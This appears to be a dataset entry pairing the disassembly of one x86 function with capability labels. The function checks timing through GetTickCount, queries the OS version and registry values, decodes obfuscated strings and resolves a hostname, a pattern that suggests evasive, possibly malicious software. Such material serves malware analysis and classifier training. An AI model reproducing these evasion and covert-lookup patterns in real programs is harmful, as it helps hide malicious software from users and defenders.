Function at 0x4147b2
Capabilities:
Check for time delay via gettickcount
Check os version
Query or enumerate registry value
Resolve dns

Disassembly:
push 0x518
mov eax, 0x440b91
call fcn.0042bb26
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3a0]
mov dword [ebp - 0x4b0], eax
cmp ecx, 6
jbe 0x4147f0
and dword [eax + 0x3a0], 0
mov dword [eax + 0x39c], 1
xor eax, eax
call fcn.0042bba9
ret 4
inc ecx
mov dword [eax + 0x3a0], ecx
call fcn.004295cd
cdq
push 0x14
pop ecx
idiv ecx
mov esi, edx
inc esi
call fcn.004295cd
cdq
idiv esi
xor ebx, ebx
cmp edx, esi
jg 0x41481c
mov eax, esi
cdq
idiv esi
cmp edx, ebx
je 0x414821
call fcn.0040c137
push ebx
mov dword [ebp - 0x4ac], ebx
call fcn.0042a8e7
pop ecx
push 0xf
pop esi
push ebx
lea ecx, [ebp - 0x464]
mov dword [ebp - 0x44c], esi
call fcn.00403957
push ebx
lea ecx, [ebp - 0x42c]
mov dword [ebp - 0x414], esi
call fcn.00403957
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec eax
dec eax
je 0x414868
dec eax
dec eax
je 0x414868
sub eax, 4
jne 0x41486e
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
inc esi
mov dword [ebp - 4], esi
push ebx
lea ecx, [ebp - 0x448]
mov dword [ebp - 0x430], 0xf
call fcn.00403957
lea eax, [ebp - 0x4ac]
push eax
push esi
push ebx
lea eax, [ebp - 0x4cc]
push eax
sub esp, 0x1c
mov byte [ebp - 4], 4
mov esi, esp
mov dword [ebp - 0x4a8], esp
push 0x41
push str.SYSTE99__a
call fcn.004081ed
lea edi, [ebp - 0x524]
call fcn.00427366
push eax
mov byte [ebp - 4], 5
call fcn.00427738
cmp dword [eax + 0x18], 0x10
jb 0x4148d5
mov eax, dword [eax + 4]
jmp 0x4148d8
add eax, 4
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push ebx
push 1
lea ecx, [ebp - 0x4cc]
mov edi, eax
call fcn.004035bd
lea esi, [ebp - 0x524]
mov byte [ebp - 4], 4
call fcn.00404654
cmp edi, ebx
jne 0x414bf1
cmp dword [ebp - 0x4ac], ebx
je 0x414c35
push 0x3ff
lea eax, [ebp - 0x40f]
push ebx
push eax
mov byte [ebp - 0x410], bl
call fcn.00431920
add esp, 0xc
mov dword [ebp - 0x4a8], 0x400
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec eax
dec eax
je 0x414953
dec eax
dec eax
je 0x414953
sub eax, 4
je 0x414953
xor eax, eax
jmp 0x414960
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
xor eax, eax
inc eax
dec eax
jne 0x41496d
call fcn.0040c199
call fcn.0040c21f
lea eax, [ebp - 0x4a8]
push eax
lea eax, [ebp - 0x410]
push eax
push ebx
push ebx
lea eax, [ebp - 0x4cc]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x4a4], esp
push 0x12
push 0x449424
call fcn.004081ed
lea edi, [ebp - 0x524]
call fcn.00427366
mov byte [ebp - 4], 6
call fcn.00427666
cmp dword [eax + 0x18], 0x10
jb 0x4149ba
mov eax, dword [eax + 4]
jmp 0x4149bd
add eax, 4
push eax
push dword [ebp - 0x4ac]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push ebx
push 1
lea ecx, [ebp - 0x4cc]
mov edi, eax
call fcn.004035bd
lea esi, [ebp - 0x524]
mov byte [ebp - 4], 4
call fcn.00404654
lea eax, [ebp - 0x49d]
mov byte [ebp - 0x49d], bl
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4149f8
sub eax, esi
je 0x414a0d
call fcn.0040c317
call fcn.0040c39c
lea eax, [ebp - 0x49d]
mov byte [ebp - 0x49d], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x414a1c
sub eax, edx
push 0
pop eax
setne al
dec eax
jne 0x414a38
call fcn.0040c407
call fcn.0040c44a
cmp edi, ebx
jne 0x414a4e
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x464]
call fcn.00403575
mov eax, 0x400
push eax
mov dword [ebp - 0x4a8], eax
lea eax, [ebp - 0x410]
push ebx
push eax
call fcn.00431920
add esp, 0xc
lea eax, [ebp - 0x4a8]
push eax
lea eax, [ebp - 0x410]
push eax
push ebx
push ebx
lea eax, [ebp - 0x4cc]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x4a4], esp
push 0x12
push str._00_N.b
call fcn.004081ed
lea edi, [ebp - 0x524]
call fcn.00427366
mov byte [ebp - 4], 7
call fcn.004273d9
cmp dword [eax + 0x18], 0x10
jb 0x414ab7
mov eax, dword [eax + 4]
jmp 0x414aba
add eax, 4
push eax
push dword [ebp - 0x4ac]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push ebx
push 1
lea ecx, [ebp - 0x4cc]
mov edi, eax
call fcn.004035bd
lea esi, [ebp - 0x524]
mov byte [ebp - 4], 4
call fcn.00404654
call fcn.004295cd
cdq
push 0x14
pop ecx
idiv ecx
mov esi, edx
inc esi
call fcn.004295cd
cdq
idiv esi
cmp edx, esi
jle 0x414b05
xor edx, edx
inc edx
jmp 0x414b0a
mov eax, esi
cdq
idiv esi
mov eax, edx
dec eax
jne 0x414b19
call fcn.0041f338
call fcn.0040c491
cmp edi, ebx
jne 0x414b2f
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x42c]
call fcn.00403575
mov eax, 0x400
push eax
mov dword [ebp - 0x4a8], eax
lea eax, [ebp - 0x410]
push ebx
push eax
call fcn.00431920
add esp, 0xc
lea eax, [ebp - 0x4a8]
push eax
lea eax, [ebp - 0x410]
push eax
push ebx
push ebx
lea eax, [ebp - 0x4cc]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x4a4], esp
push 0x12
push 0x44944c
call fcn.004081ed
lea edi, [ebp - 0x524]
call fcn.00427366
push eax
mov byte [ebp - 4], 8
call fcn.00427738
cmp dword [eax + 0x18], 0x10
jb 0x414b99
mov eax, dword [eax + 4]
jmp 0x414b9c
add eax, 4
push eax
push dword [ebp - 0x4ac]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push ebx
push 1
lea ecx, [ebp - 0x4cc]
mov edi, eax
call fcn.004035bd
lea esi, [ebp - 0x524]
mov byte [ebp - 4], 4
call fcn.00404654
cmp edi, ebx
jne 0x414bf1
lea eax, [ebp - 0x410]
push eax
lea ecx, [ebp - 0x448]
call fcn.00403575
call fcn.0040965a
test eax, eax
je 0x414bf1
call fcn.0040c50d
call fcn.0041f338
cmp dword [ebp - 0x4ac], ebx
je 0x414c35
push dword [ebp - 0x4ac]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.004295cd
call fcn.004295cd
lea eax, [ebp - 0x49d]
mov dword [ebp - 4], 4
mov byte [ebp - 0x49d], bl
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x414c25
sub eax, esi
je 0x414c35
call fcn.0040c566
cmp dword [ebp - 0x450], ebx
jne 0x414caa
lea eax, [ebp - 0x4cc]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x4a4], esp
push 0x10
push str._n7U8S_re
call fcn.004081ed
lea edi, [ebp - 0x524]
call fcn.00427366
mov byte [ebp - 4], 0xb
call fcn.004273d9
mov byte [ebp - 4], 0xc
cmp dword [eax + 0x18], 0x10
jb 0x414c7e
mov eax, dword [eax + 4]
jmp 0x414c81
add eax, 4
push eax
lea ecx, [ebp - 0x464]
call fcn.00403575
push ebx
push 1
lea ecx, [ebp - 0x4cc]
call fcn.004035bd
lea esi, [ebp - 0x524]
mov byte [ebp - 4], 4
call fcn.00404654
cmp dword [ebp - 0x418], ebx
jne 0x414d1f
lea eax, [ebp - 0x4cc]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x4a4], esp
push 0x10
push str.__r_d9AS3_:_T9_9
call fcn.004081ed
lea edi, [ebp - 0x524]
call fcn.00427366
mov byte [ebp - 4], 0xd
call fcn.004274a1
mov byte [ebp - 4], 0xe
cmp dword [eax + 0x18], 0x10
jb 0x414cf3
mov eax, dword [eax + 4]
jmp 0x414cf6
add eax, 4
push eax
lea ecx, [ebp - 0x42c]
call fcn.00403575
push ebx
push 1
lea ecx, [ebp - 0x4cc]
call fcn.004035bd
lea esi, [ebp - 0x524]
mov byte [ebp - 4], 4
call fcn.00404654
cmp dword [ebp - 0x434], ebx
jne 0x414d94
lea eax, [ebp - 0x4cc]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x4a4], esp
push 8
push 0x449488
call fcn.004081ed
lea edi, [ebp - 0x524]
call fcn.00427366
mov byte [ebp - 4], 0xf
call fcn.00427546
mov byte [ebp - 4], 0x10
cmp dword [eax + 0x18], 0x10
jb 0x414d68
mov eax, dword [eax + 4]
jmp 0x414d6b
add eax, 4
push eax
lea ecx, [ebp - 0x448]
call fcn.00403575
push ebx
push 1
lea ecx, [ebp - 0x4cc]
call fcn.004035bd
lea esi, [ebp - 0x524]
mov byte [ebp - 4], 4
call fcn.00404654
cmp dword [ebp - 0x44c], 0x10
mov eax, dword [ebp - 0x460]
jae 0x414da9
lea eax, [ebp - 0x460]
push eax
call sub.WS2_32.dll_gethostbyname
push ebx
cmp eax, ebx
jne 0x414de7
push 1
lea ecx, [ebp - 0x448]
call fcn.004035bd
push ebx
push 1
lea ecx, [ebp - 0x42c]
call fcn.004035bd
push ebx
push 1
lea ecx, [ebp - 0x464]
call fcn.004035bd
mov eax, 0x80004005
jmp 0x4147e8
lea ecx, [ebp - 0x480]
mov dword [ebp - 0x468], 0xf
call fcn.00403957
lea eax, [ebp - 0x480]
push eax
sub esp, 0x1c
mov byte [ebp - 4], 0x11
lea eax, [ebp - 0x448]
mov ecx, esp
mov dword [ebp - 0x4a4], esp
push eax
call fcn.004031b5
sub esp, 0x1c
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x42c]
mov ecx, esp
mov dword [ebp - 0x4a8], esp
push eax
call fcn.004031b5
mov byte [ebp - 4], 0x11
call fcn.004071ee
mov esi, eax
call fcn.004295cd
call fcn.004295cd
cmp esi, ebx
mov dword [ebp - 4], 0x11
jge 0x414f29
cmp dword [ebp - 0x430], 0x10
mov eax, dword [ebp - 0x444]
jae 0x414e72
lea eax, [ebp - 0x444]
cmp dword [ebp - 0x414], 0x10
push eax
mov eax, dword [ebp - 0x428]
jae 0x414e88
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x4cc]
push eax
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x4a4], esp
push 0x3f
push str.9e6_QRgOq
call fcn.004081ed
lea edi, [ebp - 0x524]
call fcn.00427366
mov byte [ebp - 4], 0x15
call fcn.00427546
mov byte [ebp - 4], 0x16
cmp dword [eax + 0x18], 0x10
jb 0x414eca
mov eax, dword [eax + 4]
jmp 0x414ecd
add eax, 4
mov ebx, dword [ebp - 0x4b0]
push eax
push 1
call fcn.0040eded
add esp, 0x10
xor ebx, ebx
xor edi, edi
push ebx
inc edi
push edi
lea ecx, [ebp - 0x4cc]
call fcn.004035bd
lea esi, [ebp - 0x524]
call fcn.00404654
push ebx
push edi
lea ecx, [ebp - 0x480]
call fcn.004035bd
push ebx
push edi
lea ecx, [ebp - 0x448]
call fcn.004035bd
push ebx
push edi
lea ecx, [ebp - 0x42c]
call fcn.004035bd
push ebx
push edi
jmp 0x414dd2
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4a4], esp
push 0x4445ef
call fcn.00403193
sub esp, 0x1c
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0x480]
mov ecx, esp
mov dword [ebp - 0x4a8], esp
push eax
call fcn.004031b5
mov esi, dword [ebp - 0x4b0]
lea edi, [esi + 0x18]
mov ecx, edi
mov byte [ebp - 4], 0x11
call fcn.0040644e
cmp eax, ebx
push ebx
jge 0x414fa2
xor esi, esi
inc esi
push esi
lea ecx, [ebp - 0x480]
call fcn.004035bd
push ebx
push esi
lea ecx, [ebp - 0x448]
call fcn.004035bd
push ebx
push esi
lea ecx, [ebp - 0x42c]
call fcn.004035bd
push ebx
push esi
jmp 0x414dd2
lea ecx, [ebp - 0x49c]
mov dword [ebp - 0x484], 0xf
call fcn.00403957
lea eax, [ebp - 0x49c]
push eax
mov eax, edi
mov byte [ebp - 4], 0x18
call fcn.00406dcd
xor edi, edi
inc edi
test eax, eax
jge 0x41501d
mov esi, 0x80004005
push ebx
push edi
lea ecx, [ebp - 0x49c]
call fcn.004035bd
push ebx
push edi
lea ecx, [ebp - 0x480]
call fcn.004035bd
push ebx
push edi
lea ecx, [ebp - 0x448]
call fcn.004035bd
push ebx
push edi
lea ecx, [ebp - 0x42c]
call fcn.004035bd
push ebx
push edi
lea ecx, [ebp - 0x464]
call fcn.004035bd
mov eax, esi
jmp 0x4147e8
mov dword [esi + 0x39c], edi
call fcn.00401219
dec eax
jne 0x415035
call fcn.0040c5fa
call fcn.00426054
mov dword [esi + 0x3a0], ebx
call fcn.0040965a
xor esi, esi
jmp 0x414fd5